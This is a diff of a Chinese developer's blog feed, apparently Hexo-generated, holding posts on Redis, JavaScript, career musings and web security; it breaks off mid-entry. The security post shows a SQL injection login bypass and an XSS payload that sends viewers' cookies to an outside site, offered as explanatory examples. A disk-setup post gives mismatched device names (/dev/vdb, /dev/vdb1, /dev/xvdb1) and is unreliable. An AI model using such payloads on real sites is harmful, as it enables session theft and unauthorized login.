       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="redis-环境搭建"><a href="#redis-环境搭建" class="headerlink" title="redis 环境搭建"></a>redis 环境搭建</h1><h2 id="下载"><a href="#下载" class="headerlink" title="下载"></a>下载</h2><p><a href="https://redis.io/" target="_blank" rel="noopener">官方网站</a></p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><pre><code class="js">解压tar zxvf redis-4.0.8.tar.gz移动文件夹mv redis-4.0.8 /usr/local/打开该文件夹cd /usr/local/redis-4.0.8/编译测试sudo make test编译安装sudo make install</code></pre><h2 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h2><pre><code class="js">redis-server</code></pre><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><pre><code class="t">新建目录sudo mkdir  redis-4.0.8/binsudo mkdir  redis-4.0.8/etcsudo mkdir  redis-4.0.8/db拷贝文件cp src/mkreleasehdr.sh bincp src/redis-benchmark bincp src/redis-check-rdb bincp src/redis-cli bincp src/redis-server bin</code></pre><h2 id="修改redis-conf"><a href="#修改redis-conf" class="headerlink" title="修改redis.conf"></a>修改redis.conf</h2><pre><code class="t">#修改为守护模式daemonize yes#设置进程锁文件pidfile /usr/local/redis-3.2.8/redis.pid#端口port 6379#客户端超时时间timeout 300#日志级别loglevel debug#日志文件位置logfile /usr/local/redis-3.2.8/log-redis.log#设置数据库的数量，默认数据库为0，可以使用SELECT &lt;dbid&gt;命令在连接上指定数据库iddatabases 16##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合#save &lt;seconds&gt; &lt;changes&gt;#Redis默认配置文件中提供了三个条件：save 900 1save 300 10save 60 10000#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，#可以关闭该#选项，但会导致数据库文件变的巨大rdbcompression yes#指定本地数据库文件名dbfilename dump.rdb#指定本地数据库路径dir /usr/local/redis-3.2.8/db/#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有#的数据会在一段时间内只存在于内存中appendonly no#指定更新日志条件，共有3个可选值：#no：表示等操作系统进行数据缓存同步到磁盘（快）#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）#everysec：表示每秒同步一次（折衷，默认值）appendfsync everysec</code></pre><h2 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h2><pre><code class="t">启动./bin/redis-server etc/redis.conf查看日志tail -f log-redis.logOK./bin/redis-cli</code></pre><h2 id="基本命令"><a href="#基本命令" class="headerlink" title="基本命令"></a>基本命令</h2><pre><code class="redis">查看所有数据keys *插入键值对set a b查看数据get a</code></pre>]]></content>
       
       <categories>
@@ -231,8 +231,8 @@
     
     <entry>
       <title>你的一生，究竟为什么而活</title>
-      <link href="/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html"/>
-      <url>/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html</url>
+      <link href="/2018/02/11/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html"/>
+      <url>/2018/02/11/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="启示录"><a href="#启示录" class="headerlink" title="启示录"></a>启示录</h1><p>此时，我看了一个小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生</p><h2 id="幸福是什么"><a href="#幸福是什么" class="headerlink" title="幸福是什么"></a>幸福是什么</h2><p>幸福对我来说，就是能做自己喜欢的事，追求自己的梦想，而我的理想，就是能够为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，我们来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，人活着的意义是什么，不就是为了追寻自己的理想吗？<br><br><br>我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不愿意全力以赴。最后就像片中的老鼠一样。最后还是回到了起点。</p><h2 id="我的幸福"><a href="#我的幸福" class="headerlink" title="我的幸福"></a>我的幸福</h2><ul><li>能追求自己的音乐理想，写自己的歌；</li><li>花切，去做一些酷一些的事；</li><li>尝试新的东西，锻炼自己的胆识；</li><li>能苦中作乐，对生活充满激情与乐观；</li><li>三十岁之前有房子，车子，建立自己的公司；</li><li>三十五岁之前拥有自己的爱人，孩子；</li><li>四十岁之前自己的公司成型，并且能为他人投资；</li><li>四十五岁之前能让家族复兴；</li><li>六十岁之前退休，去享受生活，享受音乐；<blockquote><p>不甘平庸才是我们每个人应该的追求；</p></blockquote></li></ul><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使目前的生活很安逸，也要追求更安逸的生活，人都是向上看的，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！</p>]]></content>
       
       <categories>
@@ -252,8 +252,8 @@
     
     <entry>
       <title>JS常见的十大错误</title>
-      <link href="/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html"/>
-      <url>/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html</url>
+      <link href="/2018/02/07/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html"/>
+      <url>/2018/02/07/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="1-Uncaught-TypeError-Cannot-read-property"><a href="#1-Uncaught-TypeError-Cannot-read-property" class="headerlink" title="1. Uncaught TypeError: Cannot read property"></a>1. Uncaught TypeError: Cannot read property</h1><p>发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。</p><h1 id="2-TypeError-‘undefined’-is-not-an-object"><a href="#2-TypeError-‘undefined’-is-not-an-object" class="headerlink" title="2. TypeError: ‘undefined’ is not an object"></a>2. TypeError: ‘undefined’ is not an object</h1><p>这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。</p><h1 id="3-TypeError-null-is-not-an-object"><a href="#3-TypeError-null-is-not-an-object" class="headerlink" title="3. TypeError: null is not an object"></a>3. TypeError: null is not an object</h1><p>这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。</p><blockquote><p>在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。 要验证它们不相等，请尝试使用严格的相等运算符 ===</p></blockquote><h1 id="4-unknown-Script-error"><a href="#4-unknown-Script-error" class="headerlink" title="4. (unknown): Script error"></a>4. (unknown): Script error</h1><p>当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。</p><h1 id="5-TypeError-Object-doesn’t-support-property"><a href="#5-TypeError-Object-doesn’t-support-property" class="headerlink" title="5. TypeError: Object doesn’t support property"></a>5. TypeError: Object doesn’t support property</h1><p>这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。</p><h1 id="6-TypeError-‘undefined’-is-not-a-function"><a href="#6-TypeError-‘undefined’-is-not-a-function" class="headerlink" title="6. TypeError: ‘undefined’ is not a function"></a>6. TypeError: ‘undefined’ is not a function</h1><p>当您调用未定义的函数时，这是 Chrome 中产生的错误。 </p><h1 id="7-Uncaught-RangeError-Maximum-call-stack"><a href="#7-Uncaught-RangeError-Maximum-call-stack" class="headerlink" title="7. Uncaught RangeError: Maximum call stack"></a>7. Uncaught RangeError: Maximum call stack</h1><p>这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。</p><h1 id="8-TypeError-Cannot-read-property-‘length’"><a href="#8-TypeError-Cannot-read-property-‘length’" class="headerlink" title="8. TypeError: Cannot read property ‘length’"></a>8. TypeError: Cannot read property ‘length’</h1><p>这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。</p><h1 id="9-Uncaught-TypeError-Cannot-set-property"><a href="#9-Uncaught-TypeError-Cannot-set-property" class="headerlink" title="9. Uncaught TypeError: Cannot set property"></a>9. Uncaught TypeError: Cannot set property</h1><p>当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。 在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。</p><h1 id="10-ReferenceError-event-is-not-defined"><a href="#10-ReferenceError-event-is-not-defined" class="headerlink" title="10. ReferenceError: event is not defined"></a>10. ReferenceError: event is not defined</h1><p>当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。</p>]]></content>
       
       <categories>
@@ -275,8 +275,8 @@
     
     <entry>
       <title>深入浅出 Ajax</title>
-      <link href="/%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA-Ajax.html"/>
-      <url>/%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA-Ajax.html</url>
+      <link href="/2018/01/31/%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA-Ajax.html"/>
+      <url>/2018/01/31/%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA-Ajax.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
       
       
@@ -284,8 +284,8 @@
     
     <entry>
       <title>如何理解yield和*函数</title>
-      <link href="/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html"/>
-      <url>/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html</url>
+      <link href="/2018/01/30/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html"/>
+      <url>/2018/01/30/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="Koa1"><a href="#Koa1" class="headerlink" title="Koa1"></a>Koa1</h2><h3 id="什么是-Generator"><a href="#什么是-Generator" class="headerlink" title="什么是 Generator"></a>什么是 Generator</h3><pre><code>function *test() {}test()    //  -&gt; [Object Generator]</code></pre><blockquote><p>generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。<br><code>`</code><br>function *learn() {<br>  yield 1<br>  yield 2<br>  return 3<br>}<br>let learnGen = learn()</p></blockquote><p>learnGen.next()  //  -&gt; {“done”: false, “value”: 1}</p><pre><code>&gt; 再次调用会运行到下一个 yield 处</code></pre><p>learnGen.next()  //  -&gt; {“done”: false, “value”: 2}<br>learnGen.next()  //  -&gt; {“done”: true, “value”: 3}<br><code>`</code></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>可以通过 <code>yield</code> 和 <code>*</code> 的结合实现类似 <code>await</code> <code>async</code> 的效果的效果</p>]]></content>
       
       <categories>
@@ -307,8 +307,8 @@
     
     <entry>
       <title>我所追求的狼性</title>
-      <link href="/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html"/>
-      <url>/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html</url>
+      <link href="/2018/01/28/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html"/>
+      <url>/2018/01/28/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="狼道"><a href="#狼道" class="headerlink" title="狼道"></a>狼道</h1><p>虽然在普通人看来，狼是一个贬义的存在，’狼子野心’,’狼狈为奸’。<br><br><br>但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，几十头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。</p><h2 id="狼子野心"><a href="#狼子野心" class="headerlink" title="狼子野心"></a>狼子野心</h2><p>狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，即使猎物比自己体型大数倍，也敢于猎杀！</p><h3 id="天生的野心家"><a href="#天生的野心家" class="headerlink" title="天生的野心家"></a>天生的野心家</h3><p>‘大丈夫在世，理应如此’，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！</p><blockquote><p>寄语：没有完成不了的目标，就看你有没有野心去做！</p></blockquote><h3 id="紧盯自己的目标"><a href="#紧盯自己的目标" class="headerlink" title="紧盯自己的目标"></a>紧盯自己的目标</h3><p>‘当一个人知道自己的目标去处时，全世界都回为他让路’，出自爱默生。<br><br>没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)</p><blockquote><p>寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐，获得 - 这就是大自然强者生存的要素</p></blockquote><h2 id="人应该有理想，而不是’妄想’"><a href="#人应该有理想，而不是’妄想’" class="headerlink" title="人应该有理想，而不是’妄想’"></a>人应该有理想，而不是’妄想’</h2><p>野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。<br><br>妄想症的核心判断是总是包含着 ”我“，例如：”我伟大”,”人们在迫害我”，”我有罪”…….野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)</p><blockquote><p>寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。</p></blockquote><h2 id="弹性的性格"><a href="#弹性的性格" class="headerlink" title="弹性的性格"></a>弹性的性格</h2><p>大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。</p>]]></content>
       
       <categories>
@@ -328,8 +328,8 @@
     
     <entry>
       <title>前端安全</title>
-      <link href="/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html"/>
-      <url>/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html</url>
+      <link href="/2018/01/25/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html"/>
+      <url>/2018/01/25/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="safetools-的使用方式"><a href="#safetools-的使用方式" class="headerlink" title="safetools 的使用方式"></a><font color="#aaf">safetools 的使用方式</font></h1><p><a href="http://h5.test.jimistore.com/base/xss" target="_blank" rel="noopener">demo</a></p><ol><li>引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）</li><li>将需要提交的数据经过 filter 即可，如下：</li></ol><pre><code>浏览器自带转换为字符串var newValue = safetools.encode(value)正则加密（可能有兼容）var newValue = safetools.reEncode(value)正则解密（可能有兼容）var newValue = safetools.reDecode(value)</code></pre><blockquote><p>tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！</p></blockquote><p><br></p><h1 id="常见的攻击手段"><a href="#常见的攻击手段" class="headerlink" title="常见的攻击手段"></a><font color="#aaf">常见的攻击手段</font></h1><h2 id="1-SQL-脚本注入攻击于与防御"><a href="#1-SQL-脚本注入攻击于与防御" class="headerlink" title="1. SQL 脚本注入攻击于与防御"></a><font color="#0af">1. SQL 脚本注入攻击于与防御</font></h2><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><blockquote><p>用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.</p></blockquote><h3 id="场景"><a href="#场景" class="headerlink" title="场景"></a>场景</h3><p>语句</p><pre><code>strSQL = &quot;SELECT * FROM users WHERE (name = &#39;&quot; + userName + &quot;&#39;) and (pw = &#39;&quot;+ passWord +&quot;&#39;);&quot;</code></pre><p>如果恶意填入：</p><blockquote><p>userName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;</p></blockquote><p>既可实现无密码登录，美滋滋吧…</p><h3 id="处理方式"><a href="#处理方式" class="headerlink" title="处理方式"></a>处理方式</h3><p>前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！</p><h2 id="2-XSS-攻击与防御"><a href="#2-XSS-攻击与防御" class="headerlink" title="2. XSS 攻击与防御"></a><font color="#0af">2. XSS 攻击与防御</font></h2><h3 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h3><blockquote><p><font color="green">跨站脚本</font>（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。<br>XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p></blockquote><h3 id="类型"><a href="#类型" class="headerlink" title="类型"></a>类型</h3><h4 id="简单分类"><a href="#简单分类" class="headerlink" title="简单分类"></a>简单分类</h4><ol><li>反射型xss<br><br>通过一次 xss 请求，将数据渲染到页面，请求 -&gt; 返回数据，例子：搜索</li><li>储存型xss<br><br>通过一次 xss 请求，直接将数据储存在数据库，下次调用无需继续请求，例如：评论</li></ol><h4 id="复杂分类"><a href="#复杂分类" class="headerlink" title="复杂分类"></a>复杂分类</h4><ol><li>client 型</li><li>server 型</li></ol><h3 id="处理方式-1"><a href="#处理方式-1" class="headerlink" title="处理方式"></a>处理方式</h3><ul><li><p>编码</p><blockquote><p>将 &gt; ( 标签转换为字符串，可以处理大多数 xss 攻击</p></blockquote></li><li><p>过滤</p><blockquote><p>有的语句并不完全依赖&lt;&gt;标签，例如src=”javascript:alert(1);”</p></blockquote></li><li><p>校正</p><blockquote><p>这个照理来说应该后端处理，目前没碰到这种场景</p><pre><code>一个直播平台，用户可以进入观看，主播可以设置自己的昵称:var starNickName = &#39;${starNickname}&#39;</code></pre><p>这怕是要翻水水了…假设是我是主播，我把昵称设置为：</p><pre><code>&#39;;window.location.href=&quot;http//:blog.jzxer.cn/?cook=&quot; + document.cookie + &#39;&amp;url=&#39; window.location.href;&#39;&#39;</code></pre><p>这一串如果传到后端，而后端又没有校正的话的话，这怕是傻眼了…观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。</p></blockquote></li><li>CSP<br><code>`</code><br>在头部加入：</li></ul><p><meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"><br><code>`</code><br>meta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源：没有限制 启用后，不符合 CSP 的外部资源就会被阻止加载。</p><blockquote><p>注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。</p></blockquote><h2 id="3-CSRF"><a href="#3-CSRF" class="headerlink" title="3. CSRF"></a><font color="#0af">3. CSRF</font></h2><blockquote><p><span style="color:green;">跨站请求伪造</span>（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。</p></blockquote><h3 id="处理方式-2"><a href="#处理方式-2" class="headerlink" title="处理方式"></a>处理方式</h3><ul><li><p>验证码<br>在请求的同时，带个token,或者验证码</p></li><li><p>Referer Check<br>这个可以伪造…但加入更保险</p></li></ul><blockquote><p>注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。 在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。</p></blockquote><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>web 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到的就是能够提前预防和及时修复。</p>]]></content>
       
       <categories>
@@ -351,8 +351,8 @@
     
     <entry>
       <title>用vue撸一个二手商城</title>
-      <link href="/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html"/>
-      <url>/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html</url>
+      <link href="/2018/01/22/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html"/>
+      <url>/2018/01/22/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="开发背景"><a href="#开发背景" class="headerlink" title="开发背景"></a>开发背景</h2><p>一直想尝试下全栈开发，想尝试一下，选题的初衷是自己对资源共享和二手市场的前景非常看好<br><br>共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来</p><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><h3 id="前端"><a href="#前端" class="headerlink" title="前端"></a>前端</h3><ul><li>vue + vue-router + vuex</li><li>axios </li><li>muse-ui</li></ul><h3 id="后端"><a href="#后端" class="headerlink" title="后端"></a>后端</h3><ul><li>express + nodeJS</li></ul><h3 id="打包"><a href="#打包" class="headerlink" title="打包"></a>打包</h3><ul><li>webpack</li></ul><h3 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h3><ul><li>MongoDB</li></ul><p>## </p>]]></content>
       
       <categories>
@@ -374,8 +374,8 @@
     
     <entry>
       <title>PWA初窥</title>
-      <link href="/PWA%E5%88%9D%E7%AA%A5.html"/>
-      <url>/PWA%E5%88%9D%E7%AA%A5.html</url>
+      <link href="/2018/01/20/PWA%E5%88%9D%E7%AA%A5.html"/>
+      <url>/2018/01/20/PWA%E5%88%9D%E7%AA%A5.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Progressive-Web-Apps"><a href="#Progressive-Web-Apps" class="headerlink" title="Progressive Web Apps"></a>Progressive Web Apps</h1><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><ul><li>渐进式：能确保每个用户都能打开网页</li><li>响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配</li><li>离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助</li><li>APP 化：能够像 APP 一样和用户进行交互</li><li>常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来</li><li>安全：安全第一，给自己的网站加上一把绿锁–HTTPS</li><li>可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息</li><li>可安装：能够将 Web 想 APP 一样添加到桌面</li><li>可跳转：只要通过一个连接就可以跳转到你的 Web 页面。</li></ul><h2 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h2><pre><code class="json">minifest.json 内容{  &quot;short_name&quot;: &quot;pwa&quot;,  &quot;name&quot;: &quot;pwa - demo&quot;, // 应用名称  &quot;icons&quot;: [ // 应用显示图标，根据容器大小适配    {      &quot;src&quot;: &quot;assets/imgs/48.png&quot;,      &quot;type&quot;: &quot;image/png&quot;,      &quot;sizes&quot;: &quot;48x48&quot;    },    {      &quot;src&quot;: &quot;assets/imgs/96.png&quot;,      &quot;type&quot;: &quot;image/png&quot;,      &quot;sizes&quot;: &quot;96x96&quot;    },    {      &quot;src&quot;: &quot;assets/imgs/192.png&quot;,      &quot;type&quot;: &quot;image/png&quot;,      &quot;sizes&quot;: &quot;192x192&quot;    }  ],  &quot;background_color&quot;: &quot;#2196F3&quot;, // 刚打开页面时的背景  &quot;theme_color&quot;: &quot;#2196F3&quot;, // 主题颜色  &quot;display&quot;: &quot;standalone&quot;, //独立显示  &quot;start_url&quot;: &quot;index.html?launcher=true&quot; // 启动的页面}</code></pre><p>待续…</p>]]></content>
       
       <categories>
@@ -395,8 +395,8 @@
     
     <entry>
       <title>ubuntu下搭建一个nodejs+nginx+mongodb服务器</title>
-      <link href="/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html"/>
-      <url>/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html</url>
+      <link href="/2017/12/27/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html"/>
+      <url>/2017/12/27/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="ubuntu-使用方法"><a href="#ubuntu-使用方法" class="headerlink" title="ubuntu 使用方法"></a>ubuntu 使用方法</h2><pre><code>首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。运行mkfs.ext3 /dev/vdb,对新分区进行格式化。格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 &gt;&gt; /etc/fstab (这是一条命令)写入分区信息。完成之后运行 cat /etc/fstab 可以进行查看运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区作者：wuyumumu链接：https://www.jianshu.com/p/8fb738cd8672來源：简书著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</code></pre><h2 id="nodejs-安装"><a 